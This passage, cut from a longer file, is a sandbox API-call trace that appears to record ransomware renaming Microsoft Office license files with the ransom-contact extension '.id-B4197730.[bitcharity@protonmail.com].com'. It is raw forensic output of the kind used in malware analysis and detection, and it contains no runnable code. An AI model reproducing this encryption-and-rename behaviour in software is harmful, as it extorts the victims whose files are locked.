dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.416] CloseHandle (hObject=0x1234) returned 1 [0253.417] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.417] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.418] CloseHandle (hObject=0x1234) returned 1 [0253.419] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.419] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.419] CloseHandle (hObject=0x1234) returned 1 [0253.420] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.420] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.421] CloseHandle (hObject=0x1234) returned 1 [0253.422] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.422] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.422] CloseHandle (hObject=0x1234) returned 1 [0253.424] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.424] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.424] CloseHandle (hObject=0x1234) returned 1 [0253.426] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.426] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.426] CloseHandle (hObject=0x1234) returned 1 [0253.427] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.427] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.427] CloseHandle (hObject=0x1234) returned 1 [0253.429] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.429] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.429] CloseHandle (hObject=0x1234) returned 1 [0253.430] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.430] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.430] CloseHandle (hObject=0x1234) returned 1 [0253.432] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.432] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessEntryR_PrepidBypass-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessentryr_prepidbypass-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.433] CloseHandle (hObject=0x1234) returned 1 [0253.434] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.434] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.434] CloseHandle (hObject=0x1234) returned 1 [0253.435] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.435] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.436] CloseHandle (hObject=0x1234) returned 1 [0253.437] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.437] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.438] CloseHandle (hObject=0x1234) returned 1 [0253.439] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.439] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.439] CloseHandle (hObject=0x1234) returned 1 [0253.440] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.440] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.441] CloseHandle (hObject=0x1234) returned 1 [0253.442] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.442] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.442] CloseHandle (hObject=0x1234) returned 1 [0253.443] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.443] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.443] CloseHandle (hObject=0x1234) returned 1 [0253.444] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.444] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.445] CloseHandle (hObject=0x1234) returned 1 [0253.446] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.446] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.446] CloseHandle (hObject=0x1234) returned 1 [0253.447] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.447] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.448] CloseHandle (hObject=0x1234) returned 1 [0253.449] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.449] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.449] CloseHandle (hObject=0x1234) returned 1 [0253.450] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.450] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.450] CloseHandle (hObject=0x1234) returned 1 [0253.451] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.452] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.452] CloseHandle (hObject=0x1234) returned 1 [0253.453] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.453] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.454] CloseHandle (hObject=0x1234) returned 1 [0253.455] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.455] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.455] CloseHandle (hObject=0x1234) returned 1 [0253.682] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.682] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.682] CloseHandle (hObject=0x1280) returned 1 [0253.683] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.684] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.684] CloseHandle (hObject=0x1280) returned 1 [0253.685] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.685] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.686] CloseHandle (hObject=0x1280) returned 1 [0253.687] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.687] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.687] CloseHandle (hObject=0x1280) returned 1 [0253.688] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.688] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.689] CloseHandle (hObject=0x1280) returned 1 [0253.690] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.690] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.690] CloseHandle (hObject=0x1280) returned 1 [0253.691] SetFilePointerEx (in: hFile=0x1280, 